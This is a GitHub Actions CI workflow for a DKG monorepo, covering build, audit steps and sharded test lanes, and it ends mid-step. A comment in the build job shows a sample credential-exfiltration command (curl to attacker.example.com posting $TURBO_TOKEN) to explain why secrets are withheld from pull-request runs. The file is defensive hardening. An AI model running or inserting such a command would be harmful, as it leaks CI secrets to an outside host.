-
Notifications
You must be signed in to change notification settings - Fork 10
1164 lines (1115 loc) · 55.6 KB
/
Copy pathci.yml
File metadata and controls
1164 lines (1115 loc) · 55.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
name: CI
# Trigger rules — chosen so the same SHA is never tested twice:
# * push to main/v10-rc/release/rc.12 : always runs (merge-gate safety
# net, full Solidity coverage, required status checks for protected
# branches). `release/rc.12` is the active release-stabilisation
# branch that feature/fix work currently lands on (and where bugs
# are reproduced/fixed), so it gets the same gate as main/v10-rc —
# otherwise the Node test suites only run once rc.12 merges upward.
# * pull_request : runs on every open/synchronize/reopen event.
# * No `push` trigger on feature branches (e.g. `test/**`). When a PR
# is open, the `pull_request` event already covers every new commit;
# when a PR is not open yet, developers can either open a draft PR
# or trigger the workflow manually via `workflow_dispatch`.
on:
push:
branches: [main, v10-rc, release/rc.12, rc17-vm-wip]
pull_request:
branches: [main, v10-rc, release/rc.12, rc17-vm-wip]
workflow_dispatch:
concurrency:
# Per-PR / per-branch lock: cancels any earlier in-flight run for the
# same ref as soon as a newer commit arrives.
group: ci-${{ github.workflow }}-${{ github.event.pull_request.number || github.ref }}
cancel-in-progress: true
# Minimum-needed token scope. All jobs only check out and run tests; nothing
# pushes back to the repo, comments on PRs, publishes packages, or creates
# releases — so `contents: read` is the only permission required. Without an
# explicit block, the GITHUB_TOKEN inherits the org/repo default, which on
# most older repos is the legacy "permissive" `contents: write + …` profile.
# That permissive default is what a TeamPCP-style code-execution exploit on
# any step needs to write to the repo or push a release tag. Locking it down
# here is the single highest-leverage defence-in-depth control.
permissions:
contents: read
jobs:
# ------------------------------------------------------------------
# Detect which surface changed so we can gate the heavy Solidity
# coverage+ratchet run to contract-touching PRs. On `push` events (merges
# into v10-rc / main) the safety net always runs regardless of filters.
# ------------------------------------------------------------------
changes:
name: Detect changes
runs-on: ubuntu-latest
timeout-minutes: 2
permissions:
contents: read
# `dorny/paths-filter` on a `pull_request` event reads the PR file
# list via the Pull Requests REST API (`GET /repos/{owner}/{repo}/
# pulls/{number}/files`). Without `pull-requests: read` here, the
# action fails with `Resource not accessible by integration` and
# the whole CI run dies before the test matrix starts. Scoped to
# this job only — every other job in this workflow does not call
# the API and stays read-only on `contents`.
pull-requests: read
outputs:
contracts: ${{ steps.filter.outputs.contracts }}
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: dorny/paths-filter@fbd0ab8f3e69293af611ebaee6363fc25e6d187d # v4.0.1
id: filter
with:
filters: |
contracts:
- 'packages/evm-module/contracts/**'
- 'packages/evm-module/test/**'
- 'packages/evm-module/deploy/**'
- 'packages/evm-module/scripts/**'
- 'packages/evm-module/hardhat.*'
- 'packages/evm-module/package.json'
- 'packages/evm-module/slither.config.json'
- 'packages/evm-module/.solhint.json'
- 'packages/evm-module/.solhintignore'
- 'packages/evm-module/aderyn.toml'
- 'package.json'
- 'pnpm-lock.yaml'
- 'pnpm-workspace.yaml'
- '.github/workflows/ci.yml'
# ------------------------------------------------------------------
# One canonical build. Every test job downloads this artifact instead
# of rebuilding from scratch (saves ~3-4 min per job).
#
# IMPORTANT — two optimizations here make the sub-5-min wall-clock
# possible:
#
# 1. `--filter='!@dkg-evm-module'` skips the 1m 54s hardhat compile
# (Solidity→bytecode + typechain). No Node test lane consumes its
# output — see the `Build all Node packages` step below for the
# full analysis.
#
# 2. `build:packages` runs the existing package build graph while skipping
# the Node UI `dist-ui/` bundle. Some packages still use Vite for their
# own package output, but no test in CI reads the Node UI static bundle
# at runtime — API tests never hit the static dashboard routes, the
# daemon gracefully 404s when the dir is absent, and the node-ui vitest
# suite fabricates its own temp staticDir.
#
# The default repo-root `pnpm build` remains the full developer/release
# build and includes the Node UI Vite bundle. CI uses `build:packages`
# here to keep this shared test artifact on the Node-UI-bundle-free path.
#
# Turbo remote cache is opt-in: if TURBO_TOKEN / TURBO_TEAM secrets
# are set the build step will pull previously-cached outputs; with no
# secrets the env vars are empty and turbo transparently no-ops.
# We also cache .turbo/ via actions/cache so even without a remote
# cache repeated builds on the same branch are fast.
# ------------------------------------------------------------------
build:
name: Build packages
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
# Cheap (~300 ms) audit that bans `Wallet.createRandom()` outside a
# small allowlist of intentional call sites. See
# `scripts/audit-create-random.mjs` for the incident this prevents
# from regressing — pre-PR-#366 `ensureProfile` used the anti-pattern
# to destroy nine testnet admin keys at registration time.
- name: Audit Wallet.createRandom usage
run: node scripts/audit-create-random.mjs
# Unit tests for the audit lexer itself (string/template-literal
# awareness, comment stripping, etc.). Catches regressions in the
# bypass-resistance the audit relies on — e.g. the PR #371 fix where
# `//` inside a string literal silently blanked real code after it.
- name: Test audit-create-random lexer
run: node --test scripts/audit-create-random.test.mjs
# RFC 07 §3.2 boundary gate. Bans raw `dialProtocol(` outside the
# network/protocol-router boundary so new protocols can't silently
# bypass the in-process PeerResolver and re-introduce the
# asymmetric-failure class RFC 07 was built to eliminate. See
# `scripts/audit-dial-protocol.mjs` for the full rationale and
# `dkgv10-spec/production_mainnet/07_IN_PROCESS_PEER_RESOLVER.md`
# for the architectural commitment.
- name: Audit dialProtocol boundary (RFC 07 §3.2)
run: node scripts/audit-dial-protocol.mjs
- name: Test audit-dial-protocol lexer
run: node --test scripts/audit-dial-protocol.test.mjs
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Validate npm metadata points to v10
run: pnpm check:npm-metadata
- name: Restore Turbo cache
uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
with:
path: |
.turbo
packages/*/.turbo
key: turbo-${{ runner.os }}-${{ github.ref }}-${{ github.sha }}
restore-keys: |
turbo-${{ runner.os }}-${{ github.ref }}-
turbo-${{ runner.os }}-refs/heads/v10-rc-
turbo-${{ runner.os }}-
- name: Build all Node packages (evm-module hardhat compile short-circuits)
# `@dkg-evm-module:build` normally runs `hardhat compile` which takes
# ~1m 54s on CI (Solidity→bytecode + typechain bindings). It's the
# single biggest chunk of the shared build, but nothing in CI's Node
# test lanes consumes its output:
# - `packages/chain` imports ABIs from `@dkg-evm-module/abi/*.json`
# which are COMMITTED to the repo, not regenerated here
# - Solidity unit tests (`tornado-solidity`) do their own
# hardhat compile in their own lane, with its own cache
# - Chain integration tests (`evm-integration.yml`) are a
# separate workflow with their own hardhat setup
#
# `DKG_SKIP_EVM_BUILD=1` makes evm-module's `build` script a no-op
# (short-circuits before `hardhat compile`; see package.json). We
# can't just drop it from the turbo task graph via `--filter=!…`
# because `@dkg-chain#build` declares evm-module as a workspace
# dependency and turbo pulls it in transitively. Skipping the
# command keeps the graph valid but moves the build from ~3 min to
# ~1 min.
run: pnpm run build:packages
env:
DKG_SKIP_EVM_BUILD: "1"
# TURBO_TOKEN / TURBO_TEAM are scoped to `push` events ONLY.
# On `pull_request` runs the package `build` scripts are
# PR-controlled: a malicious PR could replace a `build` step
# in any `packages/*/package.json` and exfiltrate the cache
# credentials via `curl https://attacker.example.com -d "$TURBO_TOKEN"`.
# Setting the secret to an empty string on PR runs makes turbo
# transparently no-op its remote cache integration — local
# `.turbo/` caching via `actions/cache` (above) still keeps
# repeated builds on the same branch fast. Push-event runs on
# protected branches keep the remote cache because by then
# the code has already cleared branch-protection review.
TURBO_TOKEN: ${{ github.event_name == 'push' && secrets.TURBO_TOKEN || '' }}
TURBO_TEAM: ${{ github.event_name == 'push' && secrets.TURBO_TEAM || '' }}
- name: Package build outputs
run: |
set -euo pipefail
# Collect every emitted output: tsc dist/, optional Vite dist-ui/,
# and the generated network/ dir the CLI copies during build.
mapfile -t PATHS < <(
find packages -maxdepth 2 -type d \
\( -name dist -o -name dist-ui -o -name network \) \
2>/dev/null | sort -u
)
echo "Packing ${#PATHS[@]} output dirs…"
tar -czf /tmp/build-outputs.tgz "${PATHS[@]}"
ls -lh /tmp/build-outputs.tgz
- uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
with:
name: build-outputs
path: /tmp/build-outputs.tgz
retention-days: 1
if-no-files-found: error
# ------------------------------------------------------------------
# Tornado core lane: core + storage + chain unit tests. These are all
# sub-minute suites so we keep them bundled on one runner.
# ------------------------------------------------------------------
tornado-core:
name: "Tornado: core + storage + chain"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "Core (442 tests)"
run: pnpm --filter @origintrail-official/dkg-core test
- name: "Storage (78 tests)"
run: pnpm --filter @origintrail-official/dkg-storage test
- name: "Chain unit (46 tests)"
run: pnpm --filter @origintrail-official/dkg-chain test
# ------------------------------------------------------------------
# Tornado Blazegraph integration lane — runs the storage adapter's
# `*.integration.test.ts` against a REAL Blazegraph (Docker service
# container), with no mocks. The mocked `blazegraph.unit.test.ts`
# (in the tornado-core lane) asserts the wire format; this lane proves
# the end-to-end behaviour the mocks cannot:
#
# * Large publishes used to fail on Blazegraph with HTTP 400
# "Unable to parse form content". A publish issues a single large
# DELETE DATA over the full quad set; the old adapter sent it as
# URL-encoded form data (`update=…`), which Jetty's form parser
# caps at `maxFormContentSize` (~200 KB on the stock image). The
# fix switched the transport to a W3C SPARQL 1.1 direct POST
# (`application/sparql-update` / `application/sparql-query`), which
# is not form parsed and so has no size cap.
#
# The image digest pins the stock `lyrasis/blazegraph:2.1.5` manifest our
# node-setup wizard provisions, so this reproduces exactly what an operator
# runs while keeping the workflow supply-chain audit immutable. Digest from
# Docker Hub's `docker-content-digest` header for the 2.1.5 manifest.
# The integration suite is gated on BLAZEGRAPH_TEST_URL — without it the
# tests `describe.skipIf`-skip, so local `pnpm test` needs no Docker.
# ------------------------------------------------------------------
tornado-blazegraph:
name: "Tornado: storage Blazegraph integration (live server)"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
services:
blazegraph:
image: lyrasis/blazegraph:2.1.5@sha256:56be5edb612e981607edcd4fe1e6d4e66ba3303efc4bb3a7c5c8e6662e598125
ports:
- 9999:8080
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: Wait for Blazegraph to be ready
run: |
set -euo pipefail
for i in $(seq 1 60); do
if curl -sf -o /dev/null "http://127.0.0.1:9999/bigdata/status"; then
echo "Blazegraph ready after ${i} attempt(s)."
exit 0
fi
sleep 2
done
echo "::error::Blazegraph did not become ready within 120s"
exit 1
- name: "Storage Blazegraph integration tests (no mocks)"
env:
# Stock image ships the default `kb` namespace; that's all the
# adapter needs (it isolates per-test via unique GRAPH IRIs).
BLAZEGRAPH_TEST_URL: http://127.0.0.1:9999/bigdata/namespace/kb/sparql
# term-canon-blazegraph-oracle: cross-backend V10 leaf agreement (OT-RFC-57)
# — proves an oxigraph node and a Blazegraph node compute the SAME merkle
# leaf for the same typed literal (else RandomSampling forks). dateTime/time
# are fixed here; date/gregorian/double/escaping remain it.fails pending
# the rest of the backend-independent canon.
run: pnpm --filter @origintrail-official/dkg-storage exec vitest run test/blazegraph.integration.test.ts test/term-canon-blazegraph-oracle.test.ts
# ------------------------------------------------------------------
# Tornado publisher lane — sharded across 4 parallel runners.
# Sharding history:
# 2 shards → ~4 min each (became the wall-clock tail once `agent`
# was bumped from 4→8 shards and the shared build got
# the evm-module skip; 2-shard publisher pushed the
# total past the 5-min target by ~3s)
# 3 shards → previously saw a ~15s regression vs 2: the
# publisher suite had a handful of long files whose
# tail dominated, and paying fixed setup overhead for
# an extra runner didn't help
# 4 shards → current; with 57 test files ÷ 4 = ~14/shard the
# long-pole file isn't isolated to one runner anymore
# ------------------------------------------------------------------
tornado-publisher:
name: "Tornado: publisher [${{ matrix.shard }}/4]"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4]
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "Publisher tests (shard ${{ matrix.shard }}/4)"
run: pnpm --filter @origintrail-official/dkg-publisher exec vitest run --shard=${{ matrix.shard }}/4
# ------------------------------------------------------------------
# Tornado agent lane — the slowest Node suite, sharded across 10 runners.
# Sharding history:
# 3 shards → 6+ min each (wall-clock tail)
# 4 shards → ~4.5 min each (still the gating tail)
# 8 shards → ~3m-3m 49s each (slowest shard 4m 16s → total 5m 18s)
# 10 shards --shard=N/M (vitest hash) → slowest 4m 22s → total 4m 53s
# 10 shards greedy bin-packed ← current. Three files dominate hook
# wall-clock (e2e-privacy 47s, e2e-publish-protocol 43s,
# e2e-flows 39s body + ~2 min of beforeAll hooks each).
# vitest's default --shard=N/M hashes files to shards and
# can land multiple heavies together (shard 8/10 previously
# got e2e-publish-protocol + e2e-workspace-sync + gossip-
# validation = ~80s body + stacked hooks → 4m 22s ceiling).
#
# Greedy bin-packing using historical per-file weights gives
# each of the top-3 heavies its own shard and distributes
# the remaining ~37 files evenly across the rest. Projected
# ceiling is shard 1 (e2e-privacy alone, ~3m 30s total).
#
# Weights live in `scripts/ci-shard-agent.mjs` in this
# package and are refreshed whenever per-file timings shift
# meaningfully — unknown files default to a light weight and
# fall into the lightest bin automatically.
# ------------------------------------------------------------------
tornado-agent:
name: "Tornado: agent [${{ matrix.shard }}/10]"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "Agent tests (shard ${{ matrix.shard }}/10)"
working-directory: packages/agent
run: |
set -euo pipefail
mapfile -t SHARD_FILES < <(node scripts/ci-shard-agent.mjs ${{ matrix.shard }} 10)
echo "::group::Agent shard ${{ matrix.shard }}/10 — ${#SHARD_FILES[@]} files"
printf ' %s\n' "${SHARD_FILES[@]}"
echo "::endgroup::"
pnpm exec vitest run "${SHARD_FILES[@]}"
# ------------------------------------------------------------------
# Bura lane — `cli` is the heaviest BURA package (CLI daemon, HTTP API,
# auth, keystore, migration, indexer) so it owns a runner. The
# remaining BURA package (`query`) runs on its own runner.
#
# Tier: BURA — `dkgv10-spec/CRITICALITY_CATEGORIZATION.md` §1. Packages
# on the critical path for users/operators; auth & quorum bugs here
# degrade service but do not threaten protocol consensus.
# ------------------------------------------------------------------
bura-cli:
name: "Bura: cli"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "CLI tests"
run: pnpm --filter @origintrail-official/dkg test
bura-supporting:
name: "Bura: query"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "Query tests"
run: pnpm --filter @origintrail-official/dkg-query run test
# ------------------------------------------------------------------
# Kosava lanes — `node-ui` is heavy (React Testing Library, happy-dom)
# so it owns a runner. Adapters + demo app + smaller utility packages
# share one runner; they are fast and independent.
#
# Tier: KOSAVA — `dkgv10-spec/CRITICALITY_CATEGORIZATION.md` §1.
# Supporting packages (UI, demos, adapters, EPCIS helpers, MCP bridge);
# bugs here affect UX/demos, not protocol correctness.
# ------------------------------------------------------------------
kosava-node-ui:
name: "Kosava: node-ui"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 15
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "node-ui tests"
run: pnpm --filter @origintrail-official/dkg-node-ui test
- name: "node-ui static bundle contract"
shell: bash
run: |
pnpm --filter @origintrail-official/dkg-node-ui build:ui
test -f packages/node-ui/dist-ui/index.html
if grep -R "__DKG_TOKEN__" packages/node-ui/dist-ui; then
echo "dist-ui must not contain legacy browser bearer-token bootstrap"
exit 1
fi
node - <<'NODE'
const { readFileSync, existsSync } = require('node:fs');
const { join, dirname } = require('node:path');
const indexPath = join('packages', 'node-ui', 'dist-ui', 'index.html');
const html = readFileSync(indexPath, 'utf8');
const refs = [...html.matchAll(/(?:src|href)="([^"]+\.(?:js|css))"/g)].map((m) => m[1]);
if (refs.length === 0) {
throw new Error('dist-ui/index.html did not reference any JS/CSS assets');
}
for (const ref of refs) {
const normalized = ref.startsWith('/ui/') ? ref.slice('/ui/'.length) : ref.replace(/^\.\//, '');
const assetPath = join(dirname(indexPath), normalized);
if (!existsSync(assetPath)) throw new Error(`Missing referenced UI asset: ${ref}`);
}
NODE
# node-ui Playwright e2e — REAL NODE, NO MOCKS. The suite boots a live
# 4-node devnet (Hardhat + four DKG daemons) via Playwright's `webServer`
# (see `e2e/bootstrap-devnet.ts`, chained `bootstrap && pnpm dev:ui`),
# drives the real UI against node 1's live `/api`, and tears the devnet
# down in `e2e/global-teardown.ts` when the run finishes. There is no
# route-mock lane anymore: every test exercises real daemon round-trips.
#
# Why 4 nodes: VM publishing needs StorageACK quorum, and scripts/devnet.sh
# pins `minimumRequiredSignatures = 3` (the real mainnet 3-of-N quorum — DO
# NOT lower it). A publisher collects ACKs from its PEERS only, so it needs
# minSig OTHER reachable core nodes = 4 total. With fewer, every publish aborts
# `QuorumUnmetError: need 3 ACKs but only N core peers connected`, so the
# WM→SWM→VM pipeline (and the data-driven UI views that depend on it) can't be
# exercised. Four core nodes is the minimum (see playwright.config.ts).
#
# Channel is pinned to bundled chromium in playwright.config.ts under CI
# (see `ciChromium`) since we only `playwright install chromium`.
kosava-node-ui-e2e:
name: "Kosava: node-ui e2e (Playwright real-node devnet)"
needs: build
runs-on: ubuntu-latest
# Cold devnet boot (Solidity compile + 2-node bring-up + on-chain
# staking/CG registration) + the full real-node suite at 1 worker with
# retries. Generous so a slow runner or a publish retry never flakes the
# whole lane on a timeout.
timeout-minutes: 40
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
# The shared `build` artifact skips the Solidity compile (DKG_SKIP_EVM_BUILD=1),
# so the EVM artifacts/typechain bindings the devnet's `hardhat node` +
# `hardhat deploy` need aren't present. Compile them HERE — in a dedicated,
# observable step — so the devnet boot inside Playwright's `webServer`
# reuses cached artifacts and stays well inside the webServer timeout
# (and a compile failure is localised to this step, not buried in a
# webServer timeout). devnet.sh shells out to the DEFAULT hardhat config
# (`npx hardhat node` / `hardhat deploy --network localhost`), so compile
# with the same default config here.
- name: Compile EVM contracts (for the devnet boot)
run: pnpm --filter @origintrail-official/dkg-evm-module exec hardhat compile
- name: Install Playwright Chromium
run: pnpm --filter @origintrail-official/dkg-node-ui exec playwright install chromium --with-deps
- name: "node-ui real-node Playwright e2e (boots + tears down a live devnet)"
run: pnpm --filter @origintrail-official/dkg-node-ui test:e2e
# Upload the HTML report + traces so intermittent browser/devnet failures
# are diagnosable from the Actions UI (Codex review on PR #832).
- name: Upload Playwright report
if: always()
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
with:
name: node-ui-playwright-report
path: |
packages/node-ui/playwright-report/
packages/node-ui/test-results/
packages/node-ui/results.xml
retention-days: 7
if-no-files-found: ignore
# On failure the daemon logs are the only window into a devnet that
# didn't come up. Upload them so a red run is debuggable without a
# local repro.
- name: Upload devnet logs on failure
if: failure()
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4.6.2
with:
name: node-ui-devnet-logs
path: |
.devnet/node*/daemon.log
.devnet/hardhat/node.log
.devnet/hardhat/deploy.log
retention-days: 7
if-no-files-found: ignore
kosava-supporting:
name: "Kosava: adapters + epcis + graph-viz + mcp-server + network-sim"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 10
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
# The Hermes adapter's `test` script runs the Python plugin's pytest suite
# after vitest (pytests/run-pytest.mjs), so this lane needs a Python
# interpreter + the plugin's runtime/test deps.
- uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
with:
# Pin a concrete interpreter for reproducibility (matches the other CI
# lanes' pins and the version pytests/requirements.txt was validated
# against), rather than a floating '3.x'. NOTE: the finalize EIP-55
# checksum failure was NOT a Python-version issue — it was a missing
# eth-hash keccak backend (now pinned in requirements.txt); this pin is
# hygiene, not the fix.
python-version: '3.13'
- name: Install Hermes plugin Python test deps
run: python -m pip install -r packages/adapter-hermes/pytests/requirements.txt
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
- name: "Supporting Kosava packages"
# DKG_REQUIRE_PYTEST=1 makes the adapter-hermes Python suite REQUIRED in
# CI: run-pytest.mjs fails (not skips) if no interpreter/pytest is found,
# so CI never silently loses Python coverage. Local `pnpm test` (flag
# unset) skips gracefully when Python is absent.
env:
DKG_REQUIRE_PYTEST: '1'
run: |
pnpm \
--filter @origintrail-official/dkg-epcis \
